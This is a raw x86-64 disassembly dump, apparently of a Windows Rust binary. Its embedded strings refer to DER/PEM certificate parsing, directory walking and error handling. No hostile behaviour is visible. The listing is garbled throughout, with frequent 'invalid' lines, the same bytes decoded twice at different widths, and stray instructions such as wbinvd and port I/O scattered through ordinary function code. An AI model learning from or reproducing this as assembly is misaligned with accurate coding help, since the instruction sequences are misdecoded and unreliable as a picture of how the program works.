or dword [rax], eax
sbb byte [rax - 0x73], cl
adc eax, 0x90f60
or dword [rax], eax
or dword [rax], eax
mov r8d, 0xc
mov eax, 0xc
add byte [rax], al
add cl, ch
add byte [rax], al
jmp 0x140047136
movabs byte [0x4808478d48000002], al
mov dword [rsp + 0x48], eax
invalid
add byte [rax], al
lea rax, [rdi + 8]
mov qword [rsp + 0x48], rax
add rdi, 4
add edi, 4
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400d7df5]
lea edx, [0x1400d7df5]
lea edx, [0x1400d7df5]
wbinvd
add byte [rcx - 0x48], al
mov r8d, 0xa
or dword [rax], eax
mov r8d, 0xa
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x30], esi
and al, 0x30
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
lea eax, [0x140047d80]
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140047d80]
lea eax, [0x140047d80]
lea eax, [0x140047d80]
add byte [rax], al
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7dff]
lea rsi, [rsp + 0x30]
mov r8d, 0xc
mov eax, 0xc
mov eax, 0xc
mov rcx, rsi
mov r9, rdi
stc
stc
call fcn.14003fab0
lea rax, [0x140046d50]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7e0b]
wbinvd
invalid
ror byte [rbx - 0x72b70001], 5
pop rcx
invalid
invalid
wbinvd
add byte [rbp + rcx*4 + 0x4c], cl
lea r9, [rsp + 0x48]
lea r9, [rsp + 0x48]
mov r8d, 0xa
add byte [rax], al
jmp 0x14004728e
inc rdi
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
lea rdx, [0x1400e6127]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e6127]
mov r8d, 2
add byte [rax], al
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
je 0x140046f5b
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
and al, 0x40
cmp byte [rax + 0x48402444], cl
mov dword [rsp + 0x30], 0
and al, 0x30
xor byte [rax], al
add byte [rax], al
add byte [rax], al
and al, 0x40
mov qword [rsp + 0x30], 0
add byte [rax], al
mov byte [rsp + 0x41], 0
lea r8, [0x140047d40]
or eax, 0x7fe90000
add eax, dword [rax]
invalid
and al, 0x41
add byte [rbp + rcx*4 + 5], cl
out dx, eax
or eax, 0x7fe90000
add eax, dword [rax]
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
add cl, ch
jg 0x140046f57
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x90eac
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e15]
jmp case.0x140046e3e.78
inc rdi
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x92dcf
invalid
or dword [rax], eax
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x92dcf
invalid
or dword [rax], eax
invalid
sub eax, 0xb8410009
add byte [rcx - 0x48], al
mov r8d, 6
jmp 0x14004732a
invalid
add eax, dword [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
inc rdi
inc edi
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
invalid
invalid
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400d7e25]
invalid
or dword [rax], eax
mov r8d, 0xc
add byte [rax], al
add cl, ch
js 0x140046fb3
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
js 0x140046fb3
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x90e6c
invalid
or dword [rax], eax
invalid
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e31]
invalid
or dword [rax], eax
invalid
invalid
mov r8d, 0xc
jmp 0x140047136
add byte [rax], al
add cl, ch
add word [rax], ax
add byte [rax], al
inc rdi
inc rdi
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x98993
xchg ebx, eax
mov dword [rcx], ecx
invalid
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df97a]
xchg ebx, eax
mov dword [rcx], ecx
invalid
mov r8d, 0xa
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
je 0x140047018
and al, 0x30
push rax
sbb byte [rax - 0x77], cl
je 0x140047018
invalid
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
lea rax, [0x140074af0]
add al, byte [rax]
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140074af0]
add al, byte [rax]
add al, byte [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, [0x1400df984]
jmp 0x14004734e
add cl, ch
cmp byte [rbx], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e3d]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e3d]
mov r8d, 0xc
or al, 0
add byte [rax], al
jmp 0x140047136
add al, byte [rcx]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e49]
invalid
mov eax, dword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e49]
invalid
add byte [rcx - 0x48], al
or eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 0xb
jmp 0x140047136
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x90def
sbb byte [rax - 0x73], cl
adc eax, 0x90def
out dx, eax
or eax, 0xb8410009
or byte [rax], al
add byte [rax], al
mov r8d, 8
jmp 0x140047136
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e5c]
lea edx, [0x1400d7e5c]
lea edx, [0x1400d7e5c]
mov r8d, 0xa
jmp 0x140047136
add rdi, 8
mov qword [rsp + 0x48], rdi
and al, 0x48
and al, 0x48
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400d7e66]
mov r8d, 3
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
je 0x1400470d7
and al, 0x38
push rax
sbb byte [rax - 0x77], cl
je 0x1400470d7
invalid
and al, 0x38
cmp byte [rax + 0x48402444], cl
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x40], al
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x41], 0
lea r8, case.0x1400356f8.200
add al, 0
add cl, ch
add eax, dword [rdx]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, case.0x140047d6e.1
test eax, 0x49eb0009
test eax, 0x49eb0009
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x90d6f
sbb byte [rax - 0x73], cl
adc eax, 0x90d6f
mov r8d, 6
jmp 0x140047136
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e6f]
adc eax, 0x90d5a
mov r8d, 0xe
jmp 0x140047136
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7e7d]
mov r8d, 0x10
add rsp, 0x50
pop rbx
pop rdi
pop rsi
jmp rax
lea rax, [rdi + 4]
mov qword [rsp + 0x48], rax
inc rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400d7e8d]
invalid
or dword [rax], eax
or eax, 0xb8410009
or eax, 0xff000000
push rax
or dword [rax], eax
mov r8d, 0xd
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
je 0x14004718c
invalid
sbb byte [rax - 0x77], cl
je 0x14004718c
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, [0x140047430]
add eax, 0x2b7
add eax, 0x2b7
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d9da6]
lea rsi, [rsp + 0x30]
mov r8d, 8
mov eax, 8
mov eax, 8
or byte [rax], al
add byte [rax], al
mov rcx, rsi
int1
mov r9, rdi
call fcn.14003fab0
lea rax, case.0x1400356f8.222
lea eax, case.0x1400356f8.222
lea eax, case.0x1400356f8.222
add byte [rax], al
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x1400d7e9a]
lea edx, [0x1400d7e9a]
adc eax, 0x90cec
or dword [rax], eax
lea r9, [rsp + 0x48]
and al, 0x48
mov r8d, 6
mov r8d, 6
mov eax, 6
add cl, ch
rol byte [rax], 1
jmp 0x14004728e
add byte [rax], al
inc rdi
mov qword [rsp + 0x48], rdi
and al, 0x48
invalid
and al, 0x48
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x73], r9b
lea rdx, [0x1400d7ea0]
adc eax, 0x90ccb
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
invalid
mov r8d, 0xa
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
push rax
sbb byte [rax - 0x77], cl
invalid
mov dword [rsp + 0x30], esi
je 0x140047206
xor byte [rax - 0x39c7dbbc], cl
mov byte [rsp + 0x38], al
and al, 0x38
mov byte [rsp + 0x39], 0
lea rax, [0x1400420d0]
lea eax, [0x1400420d0]
and al, 0x39
add byte [rax - 0x73], cl
lea eax, [0x1400420d0]
lea eax, [0x1400420d0]
dec dword [rax - 0x77]
and al, 0x20
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7eaa]
adc eax, 0x90cab
stosd dword [rdi], eax
or al, 9
add byte [rax - 0x73], cl
and al, 0x30
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x48]
lea ecx, [rsp + 0x48]
and al, 0x48
and al, 0x48
mov r8d, 4
jmp 0x14004735e
lea rax, [rdi + 8]
lea eax, [rdi + 8]
or byte [r8 - 0x77], r9b
and al, 0x48
mov qword [rsp + 0x48], rax
add rdi, 4
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400d7eae]
mov r8d, 0xc
mov eax, 0xc
mov eax, 0xc
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
and al, 0x30
push rax
sbb byte [rax - 0x77], cl
je 0x140047261
invalid
and al, 0x30
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0xb32
mov byte [rsp + 0x38], al
and al, 0x38
mov byte [rsp + 0x39], 0
lea rax, [0x140047d80]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, [0x1400d7eba]
lea rsi, [rsp + 0x30]
lea esi, [rsp + 0x30]
mov r8d, 7
mov rcx, rsi
int1
invalid
int1
mov r9, rdi
call fcn.14003fab0
dec dword [rax - 0x73]
add eax, 0xfffffad9
invalid
dec dword [rax - 0x73]
add eax, 0xfffffad9
invalid
dec dword [rax - 0x77]
and al, 0x20
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7ec1]
lea r9, [rsp + 0x48]
or al, 9
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x48
mov r8d, 9
add byte [rax - 0x77], cl
int1
mov rcx, rsi
jmp 0x14004735e
add rdi, 8
mov qword [rsp + 0x48], rdi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400d7eca]
lea edx, [0x1400d7eca]
lea edx, [0x1400d7eca]
mov r8d, 4
call qword [rax + 0x18]
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x40], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x1400472df
cmp byte [rax + 0x48402444], cl
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x41], 0
lea r8, [0x140047420]
lea rcx, [rsp + 0x30]
and al, 0x30
lea rdx, [rsp + 0x48]
call fcn.14003fc80
call fcn.14003fc80
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rsp + 0x40]
test rax, rax
invalid
je 0x140047304
invalid
sal byte [rcx + rdx - 0x4d], 1
adc dword [rbx + 0xfc98401], esi
test byte [rax + rax - 0x247c0000], bh
mov esp, 0x84000000
invalid
mov bl, 1
test cl, cl
leave
je case.0x14007fe84.307
mov esp, 0x84000000
fucomi st(1)
or dword [rcx], eax
add byte [rax], al
add byte [rax], al
test bl, bl
jmp 0x14004740d
mov ebx, ecx
test cl, cl
jmp 0x14004740d
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 1], cl
inc edi
add byte [rax], al
inc rdi
inc edi
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x48], edi
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x90baa
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x90baa
invalid
add byte [rcx - 0x48], al
add eax, 0xff000000
add byte [rax], al
invalid
mov r8d, 5
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
and al, 0x38
mov byte [rsp + 0x39], 0
push rax
sbb byte [rax - 0x77], cl
je 0x140047355
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
lea rax, case.0x1400356f8.222
lea rax, case.0x1400356f8.222
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x90a82
lea rdx, str.tagDateTimepositionFailedFileNotFoundIncompleteexpected_lenactual_lenIndefiniteLengthNoncanonicalOidMalformedSetDuplicateSetOrderingOverflowOverlengthPemReaderTagModeUnknownTagNumberInvalidTagUnexpectedactualTagUnknownbyteTrailingDatadecodedremainingUtf8Valueos_errordescriptioninternal_codeunknown_codeOS_Error:
lea rcx, [rsp + 0x30]
and al, 0x30
lea r9, [rsp + 0x48]
lea ecx, [rsp + 0x48]
and al, 0x48
mov r8d, 3
add byte [rax], al
call fcn.14003fab0
cmp byte [rsp + 0x39], 0
jl case.0x140079d78.147
cmp dword [rax], eax
xchg r15, r15
xchg edi, edi
inc dword [rax + 0x39247c]
jl case.0x140079d78.147
cmp dword [rax], eax
movzx eax, byte [rsp + 0x38]
je 0x14004740b
add byte [rax], al
invalid
cmp byte [rdi], cl
test byte [rax - 0x7c000000], bl
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax + rax*8 - 0x7af0fe50], al
sal byte [rax - 0x717af0ff], 0
test al, al
mov al, 1
sal byte [rax - 0x717af0ff], 0
jne 0x14004740b
test dword [rsi + 0x48000000], ecx
mov eax, dword [rsp + 0x30]
and al, 0x30
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x30
and al, 0x30
mov rax, qword [rsp + 0x30]
and al, 0x30
test byte [rax + 0x34], 4
xor al, 4
jne case.0x14005ef25.197
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rax + 0x28]
lea rdx, [0x1400db5bf]
adc eax, 0x94228
or dword [rax], eax
or dword [rax], eax
mov r8d, 2
mov eax, 2
add bl, ch
adc eax, 0x20488b48
mov rcx, qword [rax + 0x20]
jmp case.0x14007e8da.299
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e13db]
lea edx, [0x1400e13db]
adc eax, 0x9a02d
or dword [rax], eax
add byte [rcx - 0x48], al
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
jmp 0x14004740b
push rdx
mov rsi, qword [rsp + 0x38]
mov esi, dword [rsp + 0x38]
cmp byte [rax - 0x7d], cl
clc
add dword [rbp + 0x2d], esi
jne 0x1400473f1
cmp rax, 1
jne 0x1400473f1
cmp byte [rsp + 0x41], 0
je 0x1400473f1
invalid
test byte es:[rsi + 0x34], 4
test byte [rsi + 0x34], 4
xor al, 4
jne 0x1400473f1
and byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
adc eax, 0x98175
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
adc eax, 0x98175
jne case.0x14002cfa3.188
or dword [rax], eax
add byte [rcx - 0x48], al
add dword [rax], eax
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x1400472fd
test dword [rdi + rdi*8], ecx
invalid
invalid
sbb byte [rax + rax*8 - 0xf37af1], al
test dword [rdi + rdi*8], ecx
or al, 0xff
invalid
dec dword [rax - 0x75]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x99785
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
lea edx, [0x1400e0b85]
adc eax, 0x99785
test dword [rdi - 0x47befff7], edx
add dword [rax], eax
xchg edi, eax
or dword [rax], eax
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
mov ebx, eax
sbb byte [rcx + 0xfc084c3], cl
test al, al
ror byte [rdi], 0x95
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
push rax
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
int3
int3
or ecx, ebp
call 0x10d047411
jmp 0x140045d10
int3
sub esp, 0x48
in al, dx
mov rsi, rdx
mov rsi, rdx
invalid
cmp byte [rcx], 0x17
jne case.0x14002753a.242
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x9eacf
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
lea edx, str.NoneSomeBUG:_stack_should_be_non_emptyC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwalkdir_2.4.0_srclib.rs
adc eax, 0x9eacf
invalid
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
invalid
mov r8d, 4
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x48
add esp, 0x48
invalid
pop rbx
pop rsi
jmp rax
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsi + 0x20]
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e5f24]
mov al, 0xea
or dword [rax], eax
sub byte [rax - 0x73], cl
adc eax, 0x9eab0
mov al, 0xea
or dword [rax], eax
mov r8d, 4
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
je 0x1400474a5
and al, 0x30
push rax
sbb byte [rax - 0x77], cl
je 0x1400474a5
invalid
and al, 0x30
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
sub byte [rax], al
add byte [rax], al
invalid
cmp byte [rax - 0x39], cl
and al, 0x28
invalid
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add dh, al
mov byte [rsp + 0x39], 0
lea r8, case.0x1400356f8.222
lea rcx, [rsp + 0x28]
and al, 0x28
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
add eax, 0x48000003
lea ecx, [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rax - 0x73], cl
push rsp
and al, 0x40
lea rdx, [rsp + 0x40]
call fcn.14003fc80
invalid
invalid
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14004750f
push rsi
push rsi
mov bl, 1
test cl, cl
leave
leave
jne 0x140047511
push rdx
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
and al, 0x30
cmp rax, 1
clc
add dword [rbp + 0x29], esi
jne case.0x140046e3e.87
jne case.0x140046e3e.87
cmp byte [rsp + 0x39], 0
je case.0x140046e3e.87
invalid
and al, 0x39
add byte [rdx + riz - 0xa], dh
and dh, dh
and dh, dh
test byte [rsi + 0x34], 4
xor al, 4
add al, 0x75
sbb al, 0x48
jne case.0x140046e3e.87
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
lea edx, [0x1400df555]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, [0x1400df555]
lea edx, [0x1400df555]
or dword [rax], eax
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
invalid
jne 0x140047511
sal byte [rbp + 0x1e], 0x48
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x99683
invalid
xchg esi, eax
or dword [rax], eax
lea rdx, [0x1400e0b85]
lea edx, [0x1400e0b85]
or dword [rax], eax
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov ebx, eax
ret
jmp 0x140047511
invalid
push rax
sbb byte [rcx - 0x76fd143d], cl
ret
add cl, byte [rcx + 0xfdb84cb]
mov ebx, ecx
retf
test bl, bl
setne al
xchg ebp, eax
invalid
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
add rsp, 0x48
pop rbx
add rsp, 0x48
pop rbx
invalid
pop rsi
ret
push rsi
push rbx
sub rsp, 0x48
in al, dx
mov rsi, rdx
mov rsi, rdx
mov rsi, rdx
invalid
mov rax, qword [rcx]
movzx ecx, byte [rax]
lea rdx, [0x1400e6e50]
lea edx, [0x1400e6e50]
lea edx, [0x1400e6e50]
or dword [rax], eax
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
sar edi, 1
invalid
add rcx, rdx
jmp rcx
invalid
loope case.0x14003d841.148
inc rax
inc eax
mov qword [rsp + 0x40], rax
mov rcx, qword [rsi + 0x20]
invalid
invalid
mov rax, qword [rsi + 0x28]
lea rdx, str.Base64CharacterEncodingEncapsulatedTextHeaderDisallowedLabelLengthPreamblePreEncapsulationBoundaryPostEncapsulationBoundaryUnexpectedTypeLabelexpectedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fder_0.7.8_src_reader.rs
lea edx, str.Base64CharacterEncodingEncapsulatedTextHeaderDisallowedLabelLengthPreamblePreEncapsulationBoundaryPostEncapsulationBoundaryUnexpectedTypeLabelexpectedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fder_0.7.8_src_reader.rs
adc eax, 0x927c2
ret 0x927
or dword [rax], eax
mov r8d, 6
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
je 0x140047587
invalid
invalid
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
and al, 0x39
invalid
sub byte [rax], al
add byte [rax], al
add dh, al
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14005e430]
cmp dword [rax], eax
lea r8, [0x14005e430]
add eax, 0x16eb3
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
lea rcx, [rsp + 0x28]
and al, 0x28
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
push rsp
and al, 0x40
call fcn.14003fc80
hlt
invalid
mov rax, qword [rsp + 0x28]
and al, 0x28
sub byte [rdi], cl
mov dh, 0x4c
movzx ecx, byte [rsp + 0x38]
and al, 0x38
test rax, rax
ror byte [rdi], 0x84
add dword [rcx], 0
add dword [rax], eax
je 0x140047722
add dword [rax], eax
add byte [rbx + 0xfc98401], dh
mov bl, 1
add dword [rcx + rcx*8 + 0x17f840f], eax
test cl, cl
leave
je case.0x1400356f8.218
test byte [rdi + 1], bh
add byte [rax], al
add byte [rbx + rbx*8 + 0x1e6e9], al
add byte [rax - 0x75], cl
invalid
invalid
test bl, bl
jmp 0x140047796
out 1, al
add byte [rax], al
out 1, al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
invalid
invalid
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x9275b
invalid
or dword [rax], eax
lea rdx, [0x1400d9d1e]
invalid
mov r8d, 0x11
mov eax, 0x11
add cl, ch
jmp 0x140047686
mov eax, 0x48000000
mov ecx, dword [rsi + 0x20]
invalid
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sub byte [rax - 0x75], r9b
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1400d9d2f]
adc eax, 0x9274e
invalid
add bl, ch
adc ecx, dword [rax - 0x75]
invalid
jmp case.0x14005ef25.221
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sub byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400d9d3f]
lea edx, [0x1400d9d3f]
adc eax, 0x92749
invalid
add byte [rcx - 0x48], al
adc byte [rax], al
mov r8d, 0x10
add byte [rax], al
jmp 0x140047686
test dword [rax], eax
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1400d9d4f]
lea edx, [0x1400d9d4f]
adc eax, 0x9273b
mov r8d, 5
jmp 0x140047686
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
invalid
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d9d54]
adc eax, 0x92725
sbb byte [rax - 0x73], cl
adc eax, 0x92725
mov r8d, 6
jmp 0x140047686
invalid
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x92710
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400d9d5a]
adc eax, 0x92710
or dword [rax], eax
mov r8d, 8
jmp 0x140047686
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x926fd
sbb byte [rax - 0x73], cl
adc eax, 0x926fd
or dword es:[rax], eax
add byte [rcx - 0x48], al
sbb byte [rax], al
add byte [rax], al
invalid
mov r8d, 0x18
mov eax, 0x18
add byte [rax], al
add bl, ch
jmp 0x140047686
sbb dword [rax - 0x75], ecx
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x926fa
and byte [rax - 0x75], cl
sub byte [rax - 0x75], r9b
sub byte [rax - 0x75], cl
